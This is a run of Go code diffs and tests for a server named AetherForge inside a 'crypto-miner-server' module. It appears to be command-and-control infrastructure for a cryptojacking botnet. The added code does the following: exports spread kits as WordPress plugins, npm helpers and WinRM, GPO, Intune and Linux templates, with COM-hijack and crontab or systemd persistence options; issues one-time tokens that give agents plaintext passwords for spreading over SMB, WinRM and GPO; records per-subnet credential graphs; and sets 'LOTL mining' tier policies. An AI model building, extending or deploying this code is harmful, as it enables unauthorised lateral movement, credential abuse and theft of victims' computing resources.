SessionID string `json:"session_id"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
deadline := time.Now().Add(5 * time.Second)
for time.Now().Before(deadline) {
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+startResp.SessionID+"/status", nil)
rctx := chi.NewRouteContext()
rctx.URLParams.Add("id", startResp.SessionID)
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rctx))
rec2 := httptest.NewRecorder()
handler.Status(rec2, req2)
if rec2.Code != http.StatusOK {
t.Fatalf("status=%d body=%s", rec2.Code, rec2.Body.String())
}
var status struct {
NetworkHints map[string]interface{} `json:"network_hints"`
}
if err := json.Unmarshal(rec2.Body.Bytes(), &status); err != nil {
t.Fatal(err)
}
if status.NetworkHints != nil {
if status.NetworkHints["prefer_join_lane"] != "gpo" {
t.Fatalf("unexpected hints: %+v", status.NetworkHints)
}
return
}
time.Sleep(100 * time.Millisecond)
}
t.Fatal("timed out waiting for network_hints on pathtrace session")
}

View File

@@ -491,7 +491,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
})
}
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
ensureUsersLoaded(dataDir)
version := "AetherForge"
@@ -548,6 +548,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Dashboard
r.Get("/dashboard/stats", h.GetDashboardStats)
vulnHandler := NewVulnHandler()
r.Get("/vuln/catalog", vulnHandler.Catalog)
// Agents
r.Get("/agents", h.ListAgents)
r.Get("/agents/{id}", h.GetAgent)
@@ -614,10 +617,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
r.Get("/emberwake/notes", spreadHandler.GetNotes)
r.Put("/emberwake/notes", spreadHandler.PutNotes)
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
}
// Path Forge: walk a local server path, place launchers next to every file
if pathForgeHandler != nil {
@@ -700,6 +707,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
// Path Tracer — on-demand WireGuard chain sessions
if pathTracerHandler != nil {
r.Post("/pathtrace/start", pathTracerHandler.Start)
r.Post("/pathtrace/discover", pathTracerHandler.Discover)
r.Post("/pathtrace/spread", pathTracerHandler.Spread)
r.Get("/pathtrace/{id}/status", pathTracerHandler.Status)
r.Get("/pathtrace/{id}/qr", pathTracerHandler.QR)
r.Delete("/pathtrace/{id}", pathTracerHandler.Delete)
@@ -712,6 +721,14 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
r.Post("/agent/heartbeat", aiHandler.HandleHeartbeat)
r.Post("/agent/beacon", wsHub.HandleAgentBeacon)
r.Post("/agent/beacon/result", wsHub.HandleAgentBeaconResult)
if spreadCredHandler != nil {
r.Post("/agent/spread-cred/issue", spreadCredHandler.IssueToken)
r.Post("/agent/spread-cred/redeem", spreadCredHandler.RedeemToken)
r.Post("/agent/spread-cred/report", spreadCredHandler.ReportEdge)
}
if deployPlanHandler != nil {
r.Post("/agent/deploy-plan", deployPlanHandler.PostDeployPlan)
}
r.Get("/agent/module/{name}", moduleHandler.GetAgentModule)
// Public builds (also bypass auth in middleware — listed here for chi routing)

View File

@@ -428,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
dlURL := "/api/v1/builds/" + buildID + "/download"
@@ -505,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
blueprintHandler := NewBlueprintHandler(dataDir)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, nil, nil, nil, nil, "", dataDir, nil, 8989, nil)
req := httptest.NewRequest(http.MethodGet, "/", nil)
rec := httptest.NewRecorder()

View File

@@ -9,4 +9,25 @@ type ServerPolicy struct {
StrictWalletValidation bool
MaxBuildSizeMB int
PoolReconnectSeconds int
LotlOnionTiers []string
ServiceDeployAllowlist map[string]ServiceDeployLane
MiningTierPolicy MiningTierPolicy
TripleOnionPolicy TripleOnionPolicy
}
// TripleOnionPolicy gates the recon → deploy → mining onion pushed to agents at auth.
type TripleOnionPolicy struct {
PatchFirst bool `json:"patch_first,omitempty"`
MineIsolatedTier bool `json:"mine_isolated_tier,omitempty"`
SkipMiningOnHighRisk bool `json:"skip_mining_on_high_risk,omitempty"`
HighRiskThreshold int `json:"high_risk_threshold,omitempty"`
ReconTiers []string `json:"recon_tiers,omitempty"`
DeployLanes []string `json:"deploy_lanes,omitempty"`
}
// MiningTierPolicy is server-pulled LOTL mining onion ordering sent to agents at auth.
type MiningTierPolicy struct {
TierOrder []string `json:"tier_order,omitempty"`
SkipTiers []string `json:"skip_tiers,omitempty"`
ForceTier string `json:"force_tier,omitempty"`
}

View File

@@ -14,6 +14,11 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
StrictWalletValidation: true,
MaxBuildSizeMB: 64,
PoolReconnectSeconds: 30,
TripleOnionPolicy: TripleOnionPolicy{
PatchFirst: true,
SkipMiningOnHighRisk: true,
HighRiskThreshold: 50,
},
}
data, err := json.Marshal(in)
@@ -25,7 +30,18 @@ func TestServerPolicyJSONRoundTrip(t *testing.T) {
if err := json.Unmarshal(data, &out); err != nil {
t.Fatal(err)
}
if out != in {
if out.MaxAgents != in.MaxAgents ||
out.LogAgentConnections != in.LogAgentConnections ||
out.LogShareSubmissions != in.LogShareSubmissions ||
out.LogPoolTraffic != in.LogPoolTraffic ||
out.StrictWalletValidation != in.StrictWalletValidation ||
out.MaxBuildSizeMB != in.MaxBuildSizeMB ||
out.PoolReconnectSeconds != in.PoolReconnectSeconds {
t.Fatalf("round-trip mismatch:\n got %+v\n want %+v", out, in)
}
if !out.TripleOnionPolicy.PatchFirst ||
!out.TripleOnionPolicy.SkipMiningOnHighRisk ||
out.TripleOnionPolicy.HighRiskThreshold != 50 {
t.Fatalf("triple onion policy round-trip mismatch: %+v", out.TripleOnionPolicy)
}
}

View File

@@ -0,0 +1,129 @@
package api
import (
"strings"
)
// ServiceDeployLane maps a discovered Windows/Linux service to a LOTL join lane.
type ServiceDeployLane struct {
Lane string `json:"lane"` // bits_curl | docker_load | winrm | gpo | spread_smb_unc | linux_lotl
Priority int `json:"priority,omitempty"` // higher wins when multiple services match
Template string `json:"template,omitempty"` // spread template id (gpo | winrm | linux-lotl)
}
// DefaultServiceDeployAllowlist maps allowlisted services to deploy lanes.
// CCMEXEC → BITS staging; Docker → docker_load; WinRM → bootstrap; gpsvc → GPO; LanmanServer → SMB UNC.
var DefaultServiceDeployAllowlist = map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"CcmExec": {Lane: "bits_curl", Priority: 10},
"BITS": {Lane: "bits_curl", Priority: 8},
"com.docker.service": {Lane: "docker_load", Priority: 20},
"Docker Desktop Service": {Lane: "docker_load", Priority: 20},
"WinRM": {Lane: "winrm", Priority: 30, Template: "winrm"},
"Winmgmt": {Lane: "winrm", Priority: 25, Template: "winrm"},
"gpsvc": {Lane: "gpo", Priority: 40, Template: "gpo"},
"Group Policy Client": {Lane: "gpo", Priority: 40, Template: "gpo"},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
"Server": {Lane: "spread_smb_unc", Priority: 45},
"sshd": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
"ssh": {Lane: "linux_lotl", Priority: 15, Template: "linux-lotl"},
}
// NormalizeServiceDeployAllowlist returns defaults when empty and normalizes lane ids.
func NormalizeServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]ServiceDeployLane {
if len(raw) == 0 {
dup := make(map[string]ServiceDeployLane, len(DefaultServiceDeployAllowlist))
for k, v := range DefaultServiceDeployAllowlist {
dup[k] = v
}
return dup
}
out := make(map[string]ServiceDeployLane, len(raw))
for name, lane := range raw {
name = strings.TrimSpace(name)
if name == "" {
continue
}
lane.Lane = normalizeJoinLane(lane.Lane)
if lane.Template == "" {
switch lane.Lane {
case "winrm":
lane.Template = "winrm"
case "gpo":
lane.Template = "gpo"
case "linux_lotl":
lane.Template = "linux-lotl"
}
}
out[name] = lane
}
return out
}
func normalizeJoinLane(lane string) string {
lane = strings.ToLower(strings.TrimSpace(lane))
switch lane {
case "bits", "bits/curl", "bits_curl", "bits-curl":
return "bits_curl"
case "docker", "docker_load", "docker-load":
return "docker_load"
case "smb", "smb_unc", "spread_smb_unc", "spread-smb-unc":
return "spread_smb_unc"
case "linux", "linux_lotl", "linux-lotl":
return "linux_lotl"
default:
return lane
}
}
// PickDeployLane chooses the highest-priority allowlisted running service.
func PickDeployLane(services []DeployServiceFinding, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
allowlist = NormalizeServiceDeployAllowlist(allowlist)
var bestPriority int
for _, svc := range services {
if !serviceRunningForJoin(svc.Status) {
continue
}
entry, found := allowlist[svc.Name]
if !found {
// Case-insensitive fallback
for k, v := range allowlist {
if strings.EqualFold(k, svc.Name) {
entry, found = v, true
break
}
}
}
if !found {
continue
}
pri := entry.Priority
if pri == 0 {
pri = 1
}
if !ok || pri > bestPriority {
ok = true
bestPriority = pri
matched = svc.Name
lane = entry
}
}
return matched, lane, ok
}
func serviceRunningForJoin(status string) bool {
switch strings.ToLower(strings.TrimSpace(status)) {
case "running", "started", "active":
return true
default:
return false
}
}
// DeployServiceFinding is one service reported by the agent during discover_and_join.
type DeployServiceFinding struct {
Name string `json:"name"`
DisplayName string `json:"display_name,omitempty"`
Status string `json:"status"`
StartType string `json:"start_type,omitempty"`
}

View File

@@ -0,0 +1,58 @@
package api
import "testing"
func TestPickDeployLanePriority(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(map[string]ServiceDeployLane{
"CCMEXEC": {Lane: "bits_curl", Priority: 10},
"WinRM": {Lane: "winrm", Priority: 30},
"LanmanServer": {Lane: "spread_smb_unc", Priority: 50},
})
services := []DeployServiceFinding{
{Name: "CCMEXEC", Status: "running"},
{Name: "WinRM", Status: "running"},
}
matched, lane, ok := PickDeployLane(services, allowlist)
if !ok {
t.Fatal("expected match")
}
if matched != "WinRM" || lane.Lane != "winrm" {
t.Fatalf("matched=%q lane=%q", matched, lane.Lane)
}
}
func TestPickDeployLaneIgnoresStopped(t *testing.T) {
allowlist := NormalizeServiceDeployAllowlist(nil)
services := []DeployServiceFinding{{Name: "CCMEXEC", Status: "stopped"}}
_, _, ok := PickDeployLane(services, allowlist)
if ok {
t.Fatal("stopped service should not match")
}
}
func TestNormalizeJoinLaneAliases(t *testing.T) {
cases := map[string]string{
"bits/curl": "bits_curl",
"spread_smb_unc": "spread_smb_unc",
"linux-lotl": "linux_lotl",
}
for in, want := range cases {
if got := normalizeJoinLane(in); got != want {
t.Fatalf("%q => %q want %q", in, got, want)
}
}
}
func TestVerifyDeployPlanSignature(t *testing.T) {
plan := DeployPlanBody{JoinLane: "bits_curl", Action: "bits_curl"}
sig, err := signDeployPlan(plan, "test-secret")
if err != nil {
t.Fatal(err)
}
if !VerifyDeployPlanSignature(plan, sig, "test-secret") {
t.Fatal("signature should verify")
}
if VerifyDeployPlanSignature(plan, sig, "wrong") {
t.Fatal("wrong secret should fail")
}
}

View File

@@ -0,0 +1,198 @@
package api
import (
"encoding/json"
"net/http"
"strings"
dbpkg "crypto-miner-server/internal/db"
)
// DeploymentCredProfile is the API-facing deployment credential profile (no vault secrets).
type DeploymentCredProfile struct {
ID string `json:"id"`
Label string `json:"label"`
Username string `json:"username"`
VaultRef string `json:"vault_ref,omitempty"`
}
// SpreadCredProvider supplies authorized deployment credential profiles and vault secrets.
type SpreadCredProvider interface {
DeploymentProfiles() []DeploymentCredProfile
OrderProfilesForSubnet(subnet string, affinity []dbpkg.CredProfileAffinity) []DeploymentCredProfile
LoadProfileSecret(profileID string) (username, password string, err error)
}
type spreadCredIssueRequest struct {
AgentID string `json:"agent_id"`
Host string `json:"host"`
Subnet string `json:"subnet"`
Method string `json:"method"`
}
type spreadCredRedeemRequest struct {
Token string `json:"token"`
}
type spreadCredReportRequest struct {
AgentID string `json:"agent_id"`
Host string `json:"host"`
Subnet string `json:"subnet"`
CredentialProfileID string `json:"credential_profile_id"`
Method string `json:"method"`
Success bool `json:"success"`
}
// SpreadCredHandler issues short-lived bootstrap tokens and records cred graph edges.
type SpreadCredHandler struct {
db *dbpkg.Database
provider SpreadCredProvider
}
func NewSpreadCredHandler(database *dbpkg.Database, provider SpreadCredProvider) *SpreadCredHandler {
return &SpreadCredHandler{db: database, provider: provider}
}
// GET /api/v1/spread/credential-graph (alias: /api/v1/emberwake/cred-graph)
func (h *SpreadHandler) GetCredGraph(w http.ResponseWriter, r *http.Request) {
rows, err := h.db.ListCredGraphBySubnet()
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
if rows == nil {
rows = []dbpkg.CredGraphSubnetRow{}
}
writeJSON(w, map[string]interface{}{"subnets": rows})
}
// GET /api/v1/spread/service-graph?agent_id=&subnet=
func (h *SpreadHandler) GetServiceGraph(w http.ResponseWriter, r *http.Request) {
agentID := strings.TrimSpace(r.URL.Query().Get("agent_id"))
subnet := normalizeSubnetLabel(strings.TrimSpace(r.URL.Query().Get("subnet")))
services := []ServiceGraphEntry{}
if h.wsHub != nil {
services = h.wsHub.QueryServiceGraph(agentID, subnet)
}
resp := map[string]interface{}{"services": services}
if agentID != "" {
resp["agent_id"] = agentID
}
if subnet != "" {
resp["subnet"] = subnet
}
writeJSON(w, resp)
}
func normalizeSubnetLabel(subnet string) string {
subnet = strings.TrimSpace(subnet)
if strings.HasSuffix(subnet, ".x") {
return strings.TrimSuffix(subnet, ".x")
}
return subnet
}
// POST /api/v1/agent/spread-cred/issue
func (h *SpreadCredHandler) IssueToken(w http.ResponseWriter, r *http.Request) {
if h.provider == nil {
http.Error(w, "deployment credentials not configured", http.StatusNotFound)
return
}
var req spreadCredIssueRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
req.Subnet = strings.TrimSpace(req.Subnet)
req.Method = strings.TrimSpace(req.Method)
req.AgentID = strings.TrimSpace(req.AgentID)
if req.Host == "" || req.Subnet == "" || req.Method == "" {
http.Error(w, "host, subnet, and method required", http.StatusBadRequest)
return
}
affinity, err := h.db.ListCredProfileAffinity(req.Subnet)
if err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
ordered := h.provider.OrderProfilesForSubnet(req.Subnet, affinity)
if len(ordered) == 0 {
http.Error(w, "no deployment credential profiles configured", http.StatusNotFound)
return
}
profile := ordered[0]
username, password, err := h.provider.LoadProfileSecret(profile.ID)
if err != nil {
http.Error(w, "credential vault unavailable", http.StatusServiceUnavailable)
return
}
token := issueSpreadCredToken(spreadCredTokenEntry{
AgentID: req.AgentID,
ProfileID: profile.ID,
Username: username,
Password: password,
Host: req.Host,
Subnet: req.Subnet,
Method: req.Method,
})
writeJSON(w, map[string]interface{}{
"token": token,
"profile_id": profile.ID,
"expires_in": int(spreadCredTokenTTL.Seconds()),
})
}
// POST /api/v1/agent/spread-cred/redeem
func (h *SpreadCredHandler) RedeemToken(w http.ResponseWriter, r *http.Request) {
var req spreadCredRedeemRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Token = strings.TrimSpace(req.Token)
if req.Token == "" {
http.Error(w, "token required", http.StatusBadRequest)
return
}
entry, ok := consumeSpreadCredToken(req.Token)
if !ok {
http.Error(w, "invalid or expired token", http.StatusUnauthorized)
return
}
writeJSON(w, map[string]interface{}{
"profile_id": entry.ProfileID,
"username": entry.Username,
"password": entry.Password,
"host": entry.Host,
"subnet": entry.Subnet,
"method": entry.Method,
})
}
// POST /api/v1/agent/spread-cred/report
func (h *SpreadCredHandler) ReportEdge(w http.ResponseWriter, r *http.Request) {
var req spreadCredReportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Host = strings.TrimSpace(req.Host)
req.Subnet = strings.TrimSpace(req.Subnet)
req.CredentialProfileID = strings.TrimSpace(req.CredentialProfileID)
req.Method = strings.TrimSpace(req.Method)
req.AgentID = strings.TrimSpace(req.AgentID)
if req.Host == "" || req.Subnet == "" || req.CredentialProfileID == "" {
http.Error(w, "host, subnet, and credential_profile_id required", http.StatusBadRequest)
return
}
if err := h.db.InsertCredEdge(req.Host, req.Subnet, req.CredentialProfileID, req.Method, req.AgentID, req.Success); err != nil {
http.Error(w, err.Error(), http.StatusInternalServerError)
return
}
writeJSON(w, map[string]interface{}{"ok": true})
}

View File

@@ -0,0 +1,171 @@
package api
import (
"bytes"
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
dbpkg "crypto-miner-server/internal/db"
)
type stubSpreadCredProvider struct {
profiles []DeploymentCredProfile
ordered []DeploymentCredProfile
username string
password string
}
func (s *stubSpreadCredProvider) DeploymentProfiles() []DeploymentCredProfile {
return s.profiles
}
func (s *stubSpreadCredProvider) OrderProfilesForSubnet(_ string, _ []dbpkg.CredProfileAffinity) []DeploymentCredProfile {
if len(s.ordered) > 0 {
return s.ordered
}
return s.profiles
}
func (s *stubSpreadCredProvider) LoadProfileSecret(_ string) (string, string, error) {
return s.username, s.password, nil
}
func TestSpreadCredAffinityIssuePicksWinner(t *testing.T) {
d, err := dbpkg.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
defer d.Close()
if err := d.InsertCredEdge("10.0.0.20", "10.0.0", "profile-b", "smb_scm", "agent-x", true); err != nil {
t.Fatal(err)
}
provider := &stubSpreadCredProvider{
profiles: []DeploymentCredProfile{
{ID: "profile-a", Label: "A", Username: "lab\\a"},
{ID: "profile-b", Label: "B", Username: "lab\\b"},
},
ordered: []DeploymentCredProfile{{ID: "profile-b", Label: "B", Username: "lab\\b"}},
username: "lab\\b",
password: "secret-pass",
}
h := NewSpreadCredHandler(d, provider)
body, _ := json.Marshal(map[string]string{
"agent_id": "agent-1",
"host": "10.0.0.55",
"subnet": "10.0.0",
"method": "smb_scm",
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/issue", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.IssueToken(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("issue status %d: %s", rec.Code, rec.Body.String())
}
var issued struct {
Token string `json:"token"`
ProfileID string `json:"profile_id"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &issued); err != nil {
t.Fatal(err)
}
if issued.ProfileID != "profile-b" || issued.Token == "" {
t.Fatalf("unexpected issue payload: %#v", issued)
}
redeemBody, _ := json.Marshal(map[string]string{"token": issued.Token})
redeemReq := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody))
redeemRec := httptest.NewRecorder()
h.RedeemToken(redeemRec, redeemReq)
if redeemRec.Code != http.StatusOK {
t.Fatalf("redeem status %d: %s", redeemRec.Code, redeemRec.Body.String())
}
redeemBody2, _ := json.Marshal(map[string]string{"token": issued.Token})
redeemReq2 := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/redeem", bytes.NewReader(redeemBody2))
redeemAgain := httptest.NewRecorder()
h.RedeemToken(redeemAgain, redeemReq2)
if redeemAgain.Code != http.StatusUnauthorized {
t.Fatalf("expected one-time token, got %d", redeemAgain.Code)
}
}
func TestSpreadCredReportAndCredGraph(t *testing.T) {
dataDir := t.TempDir()
d, err := dbpkg.New(dataDir)
if err != nil {
t.Fatal(err)
}
defer d.Close()
provider := &stubSpreadCredProvider{}
h := NewSpreadCredHandler(d, provider)
spreadH := NewSpreadHandler(d, dataDir, t.TempDir(), nil)
reportBody, _ := json.Marshal(map[string]interface{}{
"agent_id": "agent-9",
"host": "10.1.1.10",
"subnet": "10.1.1",
"credential_profile_id": "profile-z",
"method": "winrm_encoded",
"success": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/spread-cred/report", bytes.NewReader(reportBody))
rec := httptest.NewRecorder()
h.ReportEdge(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("report status %d: %s", rec.Code, rec.Body.String())
}
for _, path := range []string{"/api/v1/spread/credential-graph", "/api/v1/emberwake/cred-graph"} {
graphReq := httptest.NewRequest(http.MethodGet, path, nil)
graphRec := httptest.NewRecorder()
spreadH.GetCredGraph(graphRec, graphReq)
if graphRec.Code != http.StatusOK {
t.Fatalf("%s graph status %d: %s", path, graphRec.Code, graphRec.Body.String())
}
var graph struct {
Subnets []struct {
Subnet string `json:"subnet"`
Edges int `json:"edges"`
SuccessCount int `json:"success_count"`
FailCount int `json:"fail_count"`
} `json:"subnets"`
}
if err := json.Unmarshal(graphRec.Body.Bytes(), &graph); err != nil {
t.Fatal(err)
}
if len(graph.Subnets) != 1 || graph.Subnets[0].Subnet != "10.1.1" || graph.Subnets[0].Edges != 1 {
t.Fatalf("%s unexpected graph: %#v", path, graph.Subnets)
}
}
}
func TestSpreadServiceGraphFromCache(t *testing.T) {
hub := NewWSHub(nil)
spreadH := NewSpreadHandler(nil, t.TempDir(), t.TempDir(), hub)
fixture := `{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","status":"running"}]},"lan_hosts":[{"host":"10.1.2.40","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","status":"open"}]}]}`
hub.cacheServiceDiscover("agent-svc", fixture)
req := httptest.NewRequest(http.MethodGet, "/api/v1/spread/service-graph?agent_id=agent-svc&subnet=10.1.2.x", nil)
rec := httptest.NewRecorder()
spreadH.GetServiceGraph(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("service graph status %d: %s", rec.Code, rec.Body.String())
}
var resp struct {
AgentID string `json:"agent_id"`
Subnet string `json:"subnet"`
Services []ServiceGraphEntry `json:"services"`
}
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
t.Fatal(err)
}
if resp.AgentID != "agent-svc" || resp.Subnet != "10.1.2" || len(resp.Services) != 2 {
t.Fatalf("unexpected service graph: %#v", resp)
}
}

View File

@@ -0,0 +1,60 @@
package api
import (
"crypto/rand"
"encoding/hex"
"sync"
"time"
)
const spreadCredTokenTTL = 90 * time.Second
type spreadCredTokenEntry struct {
AgentID string
ProfileID string
Username string
Password string
Host string
Subnet string
Method string
ExpiresAt time.Time
}
var (
spreadCredTokenMu sync.Mutex
spreadCredTokens = map[string]spreadCredTokenEntry{}
)
func issueSpreadCredToken(entry spreadCredTokenEntry) string {
b := make([]byte, 24)
_, _ = rand.Read(b)
token := hex.EncodeToString(b)
entry.ExpiresAt = time.Now().Add(spreadCredTokenTTL)
spreadCredTokenMu.Lock()
spreadCredTokens[token] = entry
if len(spreadCredTokens) > 1024 {
now := time.Now()
for k, v := range spreadCredTokens {
if now.After(v.ExpiresAt) {
delete(spreadCredTokens, k)
}
}
}
spreadCredTokenMu.Unlock()
return token
}
func consumeSpreadCredToken(token string) (spreadCredTokenEntry, bool) {
spreadCredTokenMu.Lock()
defer spreadCredTokenMu.Unlock()
entry, ok := spreadCredTokens[token]
if !ok || time.Now().After(entry.ExpiresAt) {
if ok {
delete(spreadCredTokens, token)
}
return spreadCredTokenEntry{}, false
}
delete(spreadCredTokens, token)
return entry, true
}

View File

@@ -2,6 +2,7 @@ package api
import (
"encoding/json"
"fmt"
"net/http"
"os"
"path/filepath"
@@ -139,6 +140,16 @@ type npmHelperExportRequest struct {
Campaign string `json:"campaign"`
}
type spreadTemplateExportRequest struct {
Template string `json:"template"` // winrm | linux-lotl | gpo | intune
ServerURL string `json:"server_url"`
BuildID string `json:"build_id"`
Campaign string `json:"campaign"`
COMHijack bool `json:"com_hijack"`
LOTLMode string `json:"lotl_mode"` // systemd_run_user | crontab | both | off
AgentPath string `json:"agent_path"`
}
// POST /api/v1/builder/spread-kit-export
func (h *SpreadHandler) ExportSpreadKit(w http.ResponseWriter, r *http.Request) {
var req spreadKitExportRequest
@@ -287,6 +298,87 @@ func (h *SpreadHandler) ExportNpmHelper(w http.ResponseWriter, r *http.Request)
writeZipAttachment(w, sanitizeExportSlug(req.Campaign)+"-npm-helper.zip", data)
}
// POST /api/v1/builder/spread-template-export
func (h *SpreadHandler) ExportSpreadTemplate(w http.ResponseWriter, r *http.Request) {
var req spreadTemplateExportRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
req.Template = strings.TrimSpace(strings.ToLower(req.Template))
req.ServerURL = strings.TrimRight(strings.TrimSpace(req.ServerURL), "/")
req.BuildID = strings.TrimSpace(req.BuildID)
req.Campaign = strings.TrimSpace(req.Campaign)
req.LOTLMode = strings.TrimSpace(req.LOTLMode)
req.AgentPath = strings.TrimSpace(req.AgentPath)
if req.ServerURL == "" {
http.Error(w, "server_url required", http.StatusBadRequest)
return
}
if req.Template == "" {
http.Error(w, "template required (winrm|linux-lotl|gpo|intune)", http.StatusBadRequest)
return
}
subdir, filename, err := spreadTemplatePaths(req.Template)
if err != nil {
http.Error(w, err.Error(), http.StatusBadRequest)
return
}
templateDir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
if _, err := os.Stat(templateDir); err != nil {
http.Error(w, "spread template not found: "+subdir, http.StatusNotFound)
return
}
querySuffix, getQuerySuffix := buildQuerySuffix(req.BuildID, req.Campaign)
comHijack := "false"
if req.COMHijack {
comHijack = "true"
}
lotlMode := req.LOTLMode
if lotlMode == "" {
lotlMode = "systemd_run_user"
}
agentPath := req.AgentPath
if agentPath == "" {
agentPath = `C:\ProgramData\AetherForge\worker.exe`
}
repl := map[string]string{
"{{SERVER_URL}}": req.ServerURL,
"{{BUILD_ID}}": req.BuildID,
"{{CAMPAIGN}}": req.Campaign,
"{{QUERY_SUFFIX}}": querySuffix,
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
"{{COM_HIJACK}}": comHijack,
"{{LOTL_MODE}}": lotlMode,
"{{AGENT_PATH}}": agentPath,
}
data, err := zipTemplateReplacements(templateDir, repl, nil)
if err != nil {
http.Error(w, "zip failed: "+err.Error(), http.StatusInternalServerError)
return
}
writeZipAttachment(w, filename, data)
}
func spreadTemplatePaths(template string) (subdir, zipName string, err error) {
switch template {
case "winrm":
return "winrm", "aetherforge-winrm-bootstrap.zip", nil
case "linux-lotl", "linux_lotl":
return "linux", "aetherforge-linux-lotl.zip", nil
case "gpo", "enterprise-gpo":
return "enterprise", "aetherforge-gpo-startup.zip", nil
case "intune", "enterprise-intune":
return "enterprise", "aetherforge-intune-startup.zip", nil
default:
return "", "", fmt.Errorf("unknown template %q", template)
}
}
// PUT /api/v1/builds/{id}/public
func (h *SpreadHandler) SetBuildPublic(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")

View File

@@ -44,6 +44,30 @@ func writeSpreadTemplates(t *testing.T, root string) {
if err := os.WriteFile(filepath.Join(spreadDir, "index.html"), []byte("<html>{{SERVER_URL}}{{QUERY_SUFFIX}}</html>"), 0644); err != nil {
t.Fatal(err)
}
winrmDir := filepath.Join(root, "templates", "spread", "winrm")
if err := os.MkdirAll(winrmDir, 0755); err != nil {
t.Fatal(err)
}
